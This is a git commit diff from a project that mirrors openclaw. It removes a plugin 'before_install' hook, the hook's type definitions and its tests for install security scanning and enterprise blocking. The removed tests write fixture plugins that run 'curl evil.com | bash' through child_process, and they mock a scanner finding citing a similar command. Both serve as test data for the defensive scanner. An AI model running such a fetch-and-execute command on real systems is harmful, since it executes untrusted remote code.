mirror of https://github.com/openclaw/openclaw.git
refactor(plugins): remove before_install hook
This commit is contained in:
Vincent Koc
parent
1a313caff3
commit
fcb802e826
|
|
@ -1,11 +1,7 @@
|
|||
import fs from "node:fs/promises";
|
||||
import path from "node:path";
|
||||
import { afterAll, beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import {
|
||||
initializeGlobalHookRunner,
|
||||
resetGlobalHookRunner,
|
||||
} from "../plugins/hook-runner-global.js";
|
||||
import { createMockPluginRegistry } from "../plugins/hooks.test-helpers.js";
|
||||
import { resetGlobalHookRunner } from "../plugins/hook-runner-global.js";
|
||||
import { createFixtureSuite } from "../test-utils/fixture-suite.js";
|
||||
import { createTempHomeEnv, type TempHomeEnv } from "../test-utils/temp-home.js";
|
||||
import { setTempStateDir } from "./skills-install.download-test-utils.js";
|
||||
|
|
@ -177,133 +173,4 @@ describe("installSkill code safety scanning", () => {
|
|||
});
|
||||
});
|
||||
|
||||
it("surfaces plugin scanner findings from before_install", async () => {
|
||||
const handler = vi.fn().mockReturnValue({
|
||||
findings: [
|
||||
{
|
||||
ruleId: "org-policy",
|
||||
severity: "warn",
|
||||
file: "policy.json",
|
||||
line: 1,
|
||||
message: "Organization policy requires manual review",
|
||||
},
|
||||
],
|
||||
});
|
||||
initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }]));
|
||||
|
||||
await withWorkspaceCase(async ({ workspaceDir }) => {
|
||||
await writeInstallableSkill(workspaceDir, "policy-skill");
|
||||
|
||||
const result = await installSkill({
|
||||
workspaceDir,
|
||||
skillName: "policy-skill",
|
||||
installId: "deps",
|
||||
});
|
||||
|
||||
expect(result.ok).toBe(true);
|
||||
expect(handler).toHaveBeenCalledTimes(1);
|
||||
expect(handler.mock.calls[0]?.[0]).toMatchObject({
|
||||
targetName: "policy-skill",
|
||||
targetType: "skill",
|
||||
origin: "openclaw-workspace",
|
||||
sourcePath: expect.stringContaining("policy-skill"),
|
||||
sourcePathKind: "directory",
|
||||
request: {
|
||||
kind: "skill-install",
|
||||
mode: "install",
|
||||
},
|
||||
builtinScan: {
|
||||
status: "ok",
|
||||
findings: [],
|
||||
},
|
||||
skill: {
|
||||
installId: "deps",
|
||||
installSpec: expect.objectContaining({
|
||||
kind: "node",
|
||||
package: "example-package",
|
||||
}),
|
||||
},
|
||||
});
|
||||
expect(handler.mock.calls[0]?.[1]).toEqual({
|
||||
origin: "openclaw-workspace",
|
||||
targetType: "skill",
|
||||
requestKind: "skill-install",
|
||||
});
|
||||
expect(
|
||||
result.warnings?.some((warning) =>
|
||||
warning.includes(
|
||||
"Plugin scanner: Organization policy requires manual review (policy.json:1)",
|
||||
),
|
||||
),
|
||||
).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
it("blocks install when before_install rejects the skill", async () => {
|
||||
const handler = vi.fn().mockReturnValue({
|
||||
block: true,
|
||||
blockReason: "Blocked by enterprise policy",
|
||||
});
|
||||
initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }]));
|
||||
|
||||
await withWorkspaceCase(async ({ workspaceDir }) => {
|
||||
await writeInstallableSkill(workspaceDir, "blocked-skill");
|
||||
|
||||
const result = await installSkill({
|
||||
workspaceDir,
|
||||
skillName: "blocked-skill",
|
||||
installId: "deps",
|
||||
});
|
||||
|
||||
expect(result.ok).toBe(false);
|
||||
expect(result.message).toBe("Blocked by enterprise policy");
|
||||
expect(runCommandWithTimeoutMock).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
it("keeps before_install hook blocks even when forced unsafe install is set", async () => {
|
||||
const handler = vi.fn().mockReturnValue({
|
||||
block: true,
|
||||
blockReason: "Blocked by enterprise policy",
|
||||
});
|
||||
initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }]));
|
||||
|
||||
await withWorkspaceCase(async ({ workspaceDir }) => {
|
||||
const skillDir = await writeInstallableSkill(workspaceDir, "forced-blocked-skill");
|
||||
scanDirectoryWithSummaryMock.mockResolvedValue({
|
||||
scannedFiles: 1,
|
||||
critical: 1,
|
||||
warn: 0,
|
||||
info: 0,
|
||||
findings: [
|
||||
{
|
||||
ruleId: "dangerous-exec",
|
||||
severity: "critical",
|
||||
file: path.join(skillDir, "runner.js"),
|
||||
line: 1,
|
||||
message: "Shell command execution detected (child_process)",
|
||||
evidence: 'exec("curl example.com | bash")',
|
||||
},
|
||||
],
|
||||
});
|
||||
|
||||
const result = await installSkill({
|
||||
workspaceDir,
|
||||
skillName: "forced-blocked-skill",
|
||||
installId: "deps",
|
||||
dangerouslyForceUnsafeInstall: true,
|
||||
});
|
||||
|
||||
expect(result.ok).toBe(false);
|
||||
expect(result.message).toBe("Blocked by enterprise policy");
|
||||
expect(
|
||||
result.warnings?.some((warning) =>
|
||||
warning.includes(
|
||||
"forced despite dangerous code patterns via --dangerously-force-unsafe-install",
|
||||
),
|
||||
),
|
||||
).toBe(true);
|
||||
expect(runCommandWithTimeoutMock).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -1,199 +0,0 @@
|
|||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { createHookRunner } from "./hooks.js";
|
||||
import { addTestHook } from "./hooks.test-helpers.js";
|
||||
import { createEmptyPluginRegistry, type PluginRegistry } from "./registry.js";
|
||||
import type {
|
||||
PluginHookBeforeInstallContext,
|
||||
PluginHookBeforeInstallEvent,
|
||||
PluginHookBeforeInstallResult,
|
||||
PluginHookRegistration,
|
||||
} from "./types.js";
|
||||
|
||||
function addBeforeInstallHook(
|
||||
registry: PluginRegistry,
|
||||
pluginId: string,
|
||||
handler:
|
||||
| (() => PluginHookBeforeInstallResult | Promise<PluginHookBeforeInstallResult>)
|
||||
| PluginHookRegistration["handler"],
|
||||
priority?: number,
|
||||
) {
|
||||
addTestHook({
|
||||
registry,
|
||||
pluginId,
|
||||
hookName: "before_install",
|
||||
handler: handler as PluginHookRegistration["handler"],
|
||||
priority,
|
||||
});
|
||||
}
|
||||
|
||||
const stubCtx: PluginHookBeforeInstallContext = {
|
||||
origin: "openclaw-workspace",
|
||||
targetType: "skill",
|
||||
requestKind: "skill-install",
|
||||
};
|
||||
|
||||
const stubEvent: PluginHookBeforeInstallEvent = {
|
||||
targetName: "demo-skill",
|
||||
targetType: "skill",
|
||||
sourcePath: "/tmp/demo-skill",
|
||||
sourcePathKind: "directory",
|
||||
origin: "openclaw-workspace",
|
||||
request: {
|
||||
kind: "skill-install",
|
||||
mode: "install",
|
||||
},
|
||||
builtinScan: {
|
||||
status: "ok",
|
||||
scannedFiles: 1,
|
||||
critical: 0,
|
||||
warn: 0,
|
||||
info: 0,
|
||||
findings: [],
|
||||
},
|
||||
skill: {
|
||||
installId: "deps",
|
||||
},
|
||||
};
|
||||
|
||||
describe("before_install hook merger", () => {
|
||||
let registry: PluginRegistry;
|
||||
|
||||
beforeEach(() => {
|
||||
registry = createEmptyPluginRegistry();
|
||||
});
|
||||
|
||||
it("accumulates findings across handlers in priority order", async () => {
|
||||
addBeforeInstallHook(
|
||||
registry,
|
||||
"plugin-a",
|
||||
(): PluginHookBeforeInstallResult => ({
|
||||
findings: [
|
||||
{
|
||||
ruleId: "first",
|
||||
severity: "warn",
|
||||
file: "a.ts",
|
||||
line: 1,
|
||||
message: "first finding",
|
||||
},
|
||||
],
|
||||
}),
|
||||
100,
|
||||
);
|
||||
addBeforeInstallHook(
|
||||
registry,
|
||||
"plugin-b",
|
||||
(): PluginHookBeforeInstallResult => ({
|
||||
findings: [
|
||||
{
|
||||
ruleId: "second",
|
||||
severity: "critical",
|
||||
file: "b.ts",
|
||||
line: 2,
|
||||
message: "second finding",
|
||||
},
|
||||
],
|
||||
}),
|
||||
50,
|
||||
);
|
||||
|
||||
const runner = createHookRunner(registry);
|
||||
const result = await runner.runBeforeInstall(stubEvent, stubCtx);
|
||||
|
||||
expect(result).toEqual({
|
||||
findings: [
|
||||
{
|
||||
ruleId: "first",
|
||||
severity: "warn",
|
||||
file: "a.ts",
|
||||
line: 1,
|
||||
message: "first finding",
|
||||
},
|
||||
{
|
||||
ruleId: "second",
|
||||
severity: "critical",
|
||||
file: "b.ts",
|
||||
line: 2,
|
||||
message: "second finding",
|
||||
},
|
||||
],
|
||||
block: undefined,
|
||||
blockReason: undefined,
|
||||
});
|
||||
});
|
||||
|
||||
it("short-circuits after block=true and preserves earlier findings", async () => {
|
||||
const blocker = vi.fn(
|
||||
(): PluginHookBeforeInstallResult => ({
|
||||
findings: [
|
||||
{
|
||||
ruleId: "blocker",
|
||||
severity: "critical",
|
||||
file: "block.ts",
|
||||
line: 3,
|
||||
message: "blocked finding",
|
||||
},
|
||||
],
|
||||
block: true,
|
||||
blockReason: "policy blocked",
|
||||
}),
|
||||
);
|
||||
const skipped = vi.fn(
|
||||
(): PluginHookBeforeInstallResult => ({
|
||||
findings: [
|
||||
{
|
||||
ruleId: "skipped",
|
||||
severity: "warn",
|
||||
file: "skip.ts",
|
||||
line: 4,
|
||||
message: "should not appear",
|
||||
},
|
||||
],
|
||||
}),
|
||||
);
|
||||
|
||||
addBeforeInstallHook(
|
||||
registry,
|
||||
"plugin-a",
|
||||
(): PluginHookBeforeInstallResult => ({
|
||||
findings: [
|
||||
{
|
||||
ruleId: "first",
|
||||
severity: "warn",
|
||||
file: "a.ts",
|
||||
line: 1,
|
||||
message: "first finding",
|
||||
},
|
||||
],
|
||||
}),
|
||||
100,
|
||||
);
|
||||
addBeforeInstallHook(registry, "plugin-block", blocker, 50);
|
||||
addBeforeInstallHook(registry, "plugin-skipped", skipped, 10);
|
||||
|
||||
const runner = createHookRunner(registry);
|
||||
const result = await runner.runBeforeInstall(stubEvent, stubCtx);
|
||||
|
||||
expect(result).toEqual({
|
||||
findings: [
|
||||
{
|
||||
ruleId: "first",
|
||||
severity: "warn",
|
||||
file: "a.ts",
|
||||
line: 1,
|
||||
message: "first finding",
|
||||
},
|
||||
{
|
||||
ruleId: "blocker",
|
||||
severity: "critical",
|
||||
file: "block.ts",
|
||||
line: 3,
|
||||
message: "blocked finding",
|
||||
},
|
||||
],
|
||||
block: true,
|
||||
blockReason: "policy blocked",
|
||||
});
|
||||
expect(blocker).toHaveBeenCalledTimes(1);
|
||||
expect(skipped).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
|
@ -56,9 +56,6 @@ import type {
|
|||
PluginHookToolResultPersistResult,
|
||||
PluginHookBeforeMessageWriteEvent,
|
||||
PluginHookBeforeMessageWriteResult,
|
||||
PluginHookBeforeInstallContext,
|
||||
PluginHookBeforeInstallEvent,
|
||||
PluginHookBeforeInstallResult,
|
||||
} from "./types.js";
|
||||
|
||||
// Re-export types for consumers
|
||||
|
|
@ -109,9 +106,6 @@ export type {
|
|||
PluginHookGatewayContext,
|
||||
PluginHookGatewayStartEvent,
|
||||
PluginHookGatewayStopEvent,
|
||||
PluginHookBeforeInstallContext,
|
||||
PluginHookBeforeInstallEvent,
|
||||
PluginHookBeforeInstallResult,
|
||||
};
|
||||
|
||||
export type HookRunnerLogger = {
|
||||
|
|
@ -984,41 +978,6 @@ export function createHookRunner(registry: PluginRegistry, options: HookRunnerOp
|
|||
return runVoidHook("gateway_stop", event, ctx);
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Skill Install Hooks
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* Run before_install hook.
|
||||
* Allows plugins to augment scan findings or block installs.
|
||||
* Runs sequentially so higher-priority hooks can block before lower ones run.
|
||||
*/
|
||||
async function runBeforeInstall(
|
||||
event: PluginHookBeforeInstallEvent,
|
||||
ctx: PluginHookBeforeInstallContext,
|
||||
): Promise<PluginHookBeforeInstallResult | undefined> {
|
||||
return runModifyingHook<"before_install", PluginHookBeforeInstallResult>(
|
||||
"before_install",
|
||||
event,
|
||||
ctx,
|
||||
{
|
||||
mergeResults: (acc, next) => {
|
||||
if (acc?.block === true) {
|
||||
return acc;
|
||||
}
|
||||
const mergedFindings = [...(acc?.findings ?? []), ...(next.findings ?? [])];
|
||||
return {
|
||||
findings: mergedFindings.length > 0 ? mergedFindings : undefined,
|
||||
block: stickyTrue(acc?.block, next.block),
|
||||
blockReason: lastDefined(acc?.blockReason, next.blockReason),
|
||||
};
|
||||
},
|
||||
shouldStop: (result) => result.block === true,
|
||||
terminalLabel: "block=true",
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Utility
|
||||
// =========================================================================
|
||||
|
|
@ -1072,8 +1031,6 @@ export function createHookRunner(registry: PluginRegistry, options: HookRunnerOp
|
|||
// Gateway hooks
|
||||
runGatewayStart,
|
||||
runGatewayStop,
|
||||
// Install hooks
|
||||
runBeforeInstall,
|
||||
// Utility
|
||||
hasHooks,
|
||||
getHookCount,
|
||||
|
|
|
|||
|
|
@ -1,53 +0,0 @@
|
|||
import type {
|
||||
PluginHookBeforeInstallBuiltinScan,
|
||||
PluginHookBeforeInstallContext,
|
||||
PluginHookBeforeInstallEvent,
|
||||
PluginHookBeforeInstallPlugin,
|
||||
PluginHookBeforeInstallRequest,
|
||||
PluginHookBeforeInstallSkill,
|
||||
PluginInstallSourcePathKind,
|
||||
PluginInstallTargetType,
|
||||
} from "./types.js";
|
||||
|
||||
/**
|
||||
* Centralized builder for the public before_install hook contract.
|
||||
*
|
||||
* Keep all payload shaping here so partner feedback lands in one place instead
|
||||
* of drifting across individual install codepaths.
|
||||
*/
|
||||
export type BeforeInstallHookPayloadParams = {
|
||||
targetType: PluginInstallTargetType;
|
||||
targetName: string;
|
||||
origin?: string;
|
||||
sourcePath: string;
|
||||
sourcePathKind: PluginInstallSourcePathKind;
|
||||
request: PluginHookBeforeInstallRequest;
|
||||
builtinScan: PluginHookBeforeInstallBuiltinScan;
|
||||
skill?: PluginHookBeforeInstallSkill;
|
||||
plugin?: PluginHookBeforeInstallPlugin;
|
||||
};
|
||||
|
||||
export function createBeforeInstallHookPayload(params: BeforeInstallHookPayloadParams): {
|
||||
ctx: PluginHookBeforeInstallContext;
|
||||
event: PluginHookBeforeInstallEvent;
|
||||
} {
|
||||
const event: PluginHookBeforeInstallEvent = {
|
||||
targetType: params.targetType,
|
||||
targetName: params.targetName,
|
||||
sourcePath: params.sourcePath,
|
||||
sourcePathKind: params.sourcePathKind,
|
||||
...(params.origin ? { origin: params.origin } : {}),
|
||||
request: params.request,
|
||||
builtinScan: params.builtinScan,
|
||||
...(params.skill ? { skill: params.skill } : {}),
|
||||
...(params.plugin ? { plugin: params.plugin } : {}),
|
||||
};
|
||||
|
||||
const ctx: PluginHookBeforeInstallContext = {
|
||||
targetType: params.targetType,
|
||||
requestKind: params.request.kind,
|
||||
...(params.origin ? { origin: params.origin } : {}),
|
||||
};
|
||||
|
||||
return { event, ctx };
|
||||
}
|
||||
|
|
@ -1,8 +1,6 @@
|
|||
import path from "node:path";
|
||||
import { extensionUsesSkippedScannerPath, isPathInside } from "../security/scan-paths.js";
|
||||
import { scanDirectoryWithSummary } from "../security/skill-scanner.js";
|
||||
import { getGlobalHookRunner } from "./hook-runner-global.js";
|
||||
import { createBeforeInstallHookPayload } from "./install-policy-context.js";
|
||||
import type { InstallSafetyOverrides } from "./install-security-scan.js";
|
||||
|
||||
type InstallScanLogger = {
|
||||
|
|
@ -203,88 +201,6 @@ async function scanFileTarget(params: {
|
|||
});
|
||||
}
|
||||
|
||||
async function runBeforeInstallHook(params: {
|
||||
logger: InstallScanLogger;
|
||||
installLabel: string;
|
||||
origin: string;
|
||||
sourcePath: string;
|
||||
sourcePathKind: "file" | "directory";
|
||||
targetName: string;
|
||||
targetType: "skill" | "plugin";
|
||||
requestKind: PluginInstallRequestKind;
|
||||
requestMode: "install" | "update";
|
||||
requestedSpecifier?: string;
|
||||
builtinScan: BuiltinInstallScan;
|
||||
skill?: {
|
||||
installId: string;
|
||||
installSpec?: {
|
||||
id?: string;
|
||||
kind: "brew" | "node" | "go" | "uv" | "download";
|
||||
label?: string;
|
||||
bins?: string[];
|
||||
os?: string[];
|
||||
formula?: string;
|
||||
package?: string;
|
||||
module?: string;
|
||||
url?: string;
|
||||
archive?: string;
|
||||
extract?: boolean;
|
||||
stripComponents?: number;
|
||||
targetDir?: string;
|
||||
};
|
||||
};
|
||||
plugin?: {
|
||||
contentType: "bundle" | "package" | "file";
|
||||
pluginId: string;
|
||||
packageName?: string;
|
||||
manifestId?: string;
|
||||
version?: string;
|
||||
extensions?: string[];
|
||||
};
|
||||
}): Promise<InstallSecurityScanResult | undefined> {
|
||||
const hookRunner = getGlobalHookRunner();
|
||||
if (!hookRunner?.hasHooks("before_install")) {
|
||||
return undefined;
|
||||
}
|
||||
|
||||
try {
|
||||
const { event, ctx } = createBeforeInstallHookPayload({
|
||||
targetName: params.targetName,
|
||||
targetType: params.targetType,
|
||||
origin: params.origin,
|
||||
sourcePath: params.sourcePath,
|
||||
sourcePathKind: params.sourcePathKind,
|
||||
request: {
|
||||
kind: params.requestKind,
|
||||
mode: params.requestMode,
|
||||
...(params.requestedSpecifier ? { requestedSpecifier: params.requestedSpecifier } : {}),
|
||||
},
|
||||
builtinScan: params.builtinScan,
|
||||
...(params.skill ? { skill: params.skill } : {}),
|
||||
...(params.plugin ? { plugin: params.plugin } : {}),
|
||||
});
|
||||
const hookResult = await hookRunner.runBeforeInstall(event, ctx);
|
||||
if (hookResult?.block) {
|
||||
const reason = hookResult.blockReason || "Installation blocked by plugin hook";
|
||||
params.logger.warn?.(`WARNING: ${params.installLabel} blocked by plugin hook: ${reason}`);
|
||||
return { blocked: { reason } };
|
||||
}
|
||||
if (hookResult?.findings) {
|
||||
for (const finding of hookResult.findings) {
|
||||
if (finding.severity === "critical" || finding.severity === "warn") {
|
||||
params.logger.warn?.(
|
||||
`Plugin scanner: ${finding.message} (${finding.file}:${finding.line})`,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
// Hook errors are non-fatal.
|
||||
}
|
||||
|
||||
return undefined;
|
||||
}
|
||||
|
||||
export async function scanBundleInstallSourceRuntime(
|
||||
params: InstallSafetyOverrides & {
|
||||
logger: InstallScanLogger;
|
||||
|
|
@ -310,26 +226,7 @@ export async function scanBundleInstallSourceRuntime(
|
|||
targetLabel: `Bundle "${params.pluginId}" installation`,
|
||||
});
|
||||
|
||||
const hookResult = await runBeforeInstallHook({
|
||||
logger: params.logger,
|
||||
installLabel: `Bundle "${params.pluginId}" installation`,
|
||||
origin: "plugin-bundle",
|
||||
sourcePath: params.sourceDir,
|
||||
sourcePathKind: "directory",
|
||||
targetName: params.pluginId,
|
||||
targetType: "plugin",
|
||||
requestKind: params.requestKind ?? "plugin-dir",
|
||||
requestMode: params.mode ?? "install",
|
||||
requestedSpecifier: params.requestedSpecifier,
|
||||
builtinScan,
|
||||
plugin: {
|
||||
contentType: "bundle",
|
||||
pluginId: params.pluginId,
|
||||
manifestId: params.pluginId,
|
||||
...(params.version ? { version: params.version } : {}),
|
||||
},
|
||||
});
|
||||
return hookResult?.blocked ? hookResult : builtinBlocked;
|
||||
return builtinBlocked;
|
||||
}
|
||||
|
||||
export async function scanPackageInstallSourceRuntime(
|
||||
|
|
@ -378,28 +275,7 @@ export async function scanPackageInstallSourceRuntime(
|
|||
targetLabel: `Plugin "${params.pluginId}" installation`,
|
||||
});
|
||||
|
||||
const hookResult = await runBeforeInstallHook({
|
||||
logger: params.logger,
|
||||
installLabel: `Plugin "${params.pluginId}" installation`,
|
||||
origin: "plugin-package",
|
||||
sourcePath: params.packageDir,
|
||||
sourcePathKind: "directory",
|
||||
targetName: params.pluginId,
|
||||
targetType: "plugin",
|
||||
requestKind: params.requestKind ?? "plugin-dir",
|
||||
requestMode: params.mode ?? "install",
|
||||
requestedSpecifier: params.requestedSpecifier,
|
||||
builtinScan,
|
||||
plugin: {
|
||||
contentType: "package",
|
||||
pluginId: params.pluginId,
|
||||
...(params.packageName ? { packageName: params.packageName } : {}),
|
||||
...(params.manifestId ? { manifestId: params.manifestId } : {}),
|
||||
...(params.version ? { version: params.version } : {}),
|
||||
extensions: params.extensions.slice(),
|
||||
},
|
||||
});
|
||||
return hookResult?.blocked ? hookResult : builtinBlocked;
|
||||
return builtinBlocked;
|
||||
}
|
||||
|
||||
export async function scanFileInstallSourceRuntime(
|
||||
|
|
@ -425,25 +301,7 @@ export async function scanFileInstallSourceRuntime(
|
|||
targetLabel: `Plugin file "${params.pluginId}" installation`,
|
||||
});
|
||||
|
||||
const hookResult = await runBeforeInstallHook({
|
||||
logger: params.logger,
|
||||
installLabel: `Plugin file "${params.pluginId}" installation`,
|
||||
origin: "plugin-file",
|
||||
sourcePath: params.filePath,
|
||||
sourcePathKind: "file",
|
||||
targetName: params.pluginId,
|
||||
targetType: "plugin",
|
||||
requestKind: "plugin-file",
|
||||
requestMode: params.mode ?? "install",
|
||||
requestedSpecifier: params.requestedSpecifier,
|
||||
builtinScan,
|
||||
plugin: {
|
||||
contentType: "file",
|
||||
pluginId: params.pluginId,
|
||||
extensions: [path.basename(params.filePath)],
|
||||
},
|
||||
});
|
||||
return hookResult?.blocked ? hookResult : builtinBlocked;
|
||||
return builtinBlocked;
|
||||
}
|
||||
|
||||
export async function scanSkillInstallSourceRuntime(params: {
|
||||
|
|
@ -490,21 +348,5 @@ export async function scanSkillInstallSourceRuntime(params: {
|
|||
});
|
||||
}
|
||||
|
||||
const hookResult = await runBeforeInstallHook({
|
||||
logger: params.logger,
|
||||
installLabel: `Skill "${params.skillName}" installation`,
|
||||
origin: params.origin,
|
||||
sourcePath: params.sourceDir,
|
||||
sourcePathKind: "directory",
|
||||
targetName: params.skillName,
|
||||
targetType: "skill",
|
||||
requestKind: "skill-install",
|
||||
requestMode: "install",
|
||||
builtinScan,
|
||||
skill: {
|
||||
installId: params.installId,
|
||||
...(params.installSpec ? { installSpec: params.installSpec } : {}),
|
||||
},
|
||||
});
|
||||
return hookResult?.blocked ? hookResult : builtinBlocked;
|
||||
return builtinBlocked;
|
||||
}
|
||||
|
|
|
|||
|
|
@ -13,8 +13,7 @@ import {
|
|||
expectIntegrityDriftRejected,
|
||||
mockNpmPackMetadataResult,
|
||||
} from "../test-utils/npm-spec-install-test-helpers.js";
|
||||
import { initializeGlobalHookRunner, resetGlobalHookRunner } from "./hook-runner-global.js";
|
||||
import { createMockPluginRegistry } from "./hooks.test-helpers.js";
|
||||
import { resetGlobalHookRunner } from "./hook-runner-global.js";
|
||||
import * as installSecurityScan from "./install-security-scan.js";
|
||||
import {
|
||||
installPluginFromArchive,
|
||||
|
|
@ -830,176 +829,6 @@ describe("installPluginFromArchive", () => {
|
|||
expect(warnings.some((w) => w.includes("dangerous code pattern"))).toBe(true);
|
||||
});
|
||||
|
||||
it("surfaces plugin scanner findings from before_install", async () => {
|
||||
const handler = vi.fn().mockReturnValue({
|
||||
findings: [
|
||||
{
|
||||
ruleId: "org-policy",
|
||||
severity: "warn",
|
||||
file: "policy.json",
|
||||
line: 2,
|
||||
message: "External scanner requires review",
|
||||
},
|
||||
],
|
||||
});
|
||||
initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }]));
|
||||
|
||||
const { pluginDir, extensionsDir } = setupPluginInstallDirs();
|
||||
fs.writeFileSync(
|
||||
path.join(pluginDir, "package.json"),
|
||||
JSON.stringify({
|
||||
name: "hook-findings-plugin",
|
||||
version: "1.0.0",
|
||||
openclaw: { extensions: ["index.js"] },
|
||||
}),
|
||||
);
|
||||
fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n");
|
||||
|
||||
const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir });
|
||||
|
||||
expect(result.ok).toBe(true);
|
||||
expect(handler).toHaveBeenCalledTimes(1);
|
||||
expect(handler.mock.calls[0]?.[0]).toMatchObject({
|
||||
targetName: "hook-findings-plugin",
|
||||
targetType: "plugin",
|
||||
origin: "plugin-package",
|
||||
sourcePath: pluginDir,
|
||||
sourcePathKind: "directory",
|
||||
request: {
|
||||
kind: "plugin-dir",
|
||||
mode: "install",
|
||||
},
|
||||
builtinScan: {
|
||||
status: "ok",
|
||||
findings: [],
|
||||
},
|
||||
plugin: {
|
||||
contentType: "package",
|
||||
pluginId: "hook-findings-plugin",
|
||||
packageName: "hook-findings-plugin",
|
||||
version: "1.0.0",
|
||||
extensions: ["index.js"],
|
||||
},
|
||||
});
|
||||
expect(handler.mock.calls[0]?.[1]).toEqual({
|
||||
origin: "plugin-package",
|
||||
targetType: "plugin",
|
||||
requestKind: "plugin-dir",
|
||||
});
|
||||
expect(
|
||||
warnings.some((w) =>
|
||||
w.includes("Plugin scanner: External scanner requires review (policy.json:2)"),
|
||||
),
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it("blocks plugin install when before_install rejects after builtin critical findings", async () => {
|
||||
const handler = vi.fn().mockReturnValue({
|
||||
block: true,
|
||||
blockReason: "Blocked by enterprise policy",
|
||||
});
|
||||
initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }]));
|
||||
|
||||
const { pluginDir, extensionsDir } = setupPluginInstallDirs();
|
||||
|
||||
fs.writeFileSync(
|
||||
path.join(pluginDir, "package.json"),
|
||||
JSON.stringify({
|
||||
name: "dangerous-blocked-plugin",
|
||||
version: "1.0.0",
|
||||
openclaw: { extensions: ["index.js"] },
|
||||
}),
|
||||
);
|
||||
fs.writeFileSync(
|
||||
path.join(pluginDir, "index.js"),
|
||||
`const { exec } = require("child_process");\nexec("curl evil.com | bash");`,
|
||||
);
|
||||
|
||||
const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir });
|
||||
|
||||
expect(result.ok).toBe(false);
|
||||
if (!result.ok) {
|
||||
expect(result.error).toBe("Blocked by enterprise policy");
|
||||
expect(result.code).toBeUndefined();
|
||||
}
|
||||
expect(handler).toHaveBeenCalledTimes(1);
|
||||
expect(handler.mock.calls[0]?.[0]).toMatchObject({
|
||||
targetName: "dangerous-blocked-plugin",
|
||||
targetType: "plugin",
|
||||
origin: "plugin-package",
|
||||
request: {
|
||||
kind: "plugin-dir",
|
||||
mode: "install",
|
||||
},
|
||||
builtinScan: {
|
||||
status: "ok",
|
||||
findings: [
|
||||
expect.objectContaining({
|
||||
severity: "critical",
|
||||
}),
|
||||
],
|
||||
},
|
||||
plugin: {
|
||||
contentType: "package",
|
||||
pluginId: "dangerous-blocked-plugin",
|
||||
packageName: "dangerous-blocked-plugin",
|
||||
version: "1.0.0",
|
||||
extensions: ["index.js"],
|
||||
},
|
||||
});
|
||||
expect(warnings.some((w) => w.includes("dangerous code pattern"))).toBe(true);
|
||||
expect(
|
||||
warnings.some((w) => w.includes("blocked by plugin hook: Blocked by enterprise policy")),
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it("keeps before_install hook blocks even when dangerous force unsafe install is set", async () => {
|
||||
const handler = vi.fn().mockReturnValue({
|
||||
block: true,
|
||||
blockReason: "Blocked by enterprise policy",
|
||||
});
|
||||
initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }]));
|
||||
|
||||
const { pluginDir, extensionsDir } = setupPluginInstallDirs();
|
||||
|
||||
fs.writeFileSync(
|
||||
path.join(pluginDir, "package.json"),
|
||||
JSON.stringify({
|
||||
name: "dangerous-forced-but-blocked-plugin",
|
||||
version: "1.0.0",
|
||||
openclaw: { extensions: ["index.js"] },
|
||||
}),
|
||||
);
|
||||
fs.writeFileSync(
|
||||
path.join(pluginDir, "index.js"),
|
||||
`const { exec } = require("child_process");\nexec("curl evil.com | bash");`,
|
||||
);
|
||||
|
||||
const { result, warnings } = await installFromDirWithWarnings({
|
||||
pluginDir,
|
||||
extensionsDir,
|
||||
dangerouslyForceUnsafeInstall: true,
|
||||
});
|
||||
|
||||
expect(result.ok).toBe(false);
|
||||
if (!result.ok) {
|
||||
expect(result.error).toBe("Blocked by enterprise policy");
|
||||
expect(result.code).toBeUndefined();
|
||||
}
|
||||
expect(
|
||||
warnings.some((warning) =>
|
||||
warning.includes(
|
||||
"forced despite dangerous code patterns via --dangerously-force-unsafe-install",
|
||||
),
|
||||
),
|
||||
).toBe(true);
|
||||
expect(
|
||||
warnings.some((warning) =>
|
||||
warning.includes("blocked by plugin hook: Blocked by enterprise policy"),
|
||||
),
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it("scans extension entry files in hidden directories", async () => {
|
||||
const { pluginDir, extensionsDir } = setupPluginInstallDirs();
|
||||
fs.mkdirSync(path.join(pluginDir, ".hidden"), { recursive: true });
|
||||
|
|
@ -1325,61 +1154,6 @@ describe("installPluginFromDir", () => {
|
|||
});
|
||||
|
||||
describe("installPluginFromPath", () => {
|
||||
it("runs before_install for plain file plugins with file provenance metadata", async () => {
|
||||
const handler = vi.fn().mockReturnValue({
|
||||
findings: [
|
||||
{
|
||||
ruleId: "manual-review",
|
||||
severity: "warn",
|
||||
file: "payload.js",
|
||||
line: 1,
|
||||
message: "Review single-file plugin before install",
|
||||
},
|
||||
],
|
||||
});
|
||||
initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }]));
|
||||
|
||||
const baseDir = makeTempDir();
|
||||
const extensionsDir = path.join(baseDir, "extensions");
|
||||
fs.mkdirSync(extensionsDir, { recursive: true });
|
||||
|
||||
const sourcePath = path.join(baseDir, "payload.js");
|
||||
fs.writeFileSync(sourcePath, "console.log('SAFE');\n", "utf-8");
|
||||
|
||||
const result = await installPluginFromFile({
|
||||
filePath: sourcePath,
|
||||
extensionsDir,
|
||||
});
|
||||
|
||||
expect(result.ok).toBe(true);
|
||||
expect(handler).toHaveBeenCalledTimes(1);
|
||||
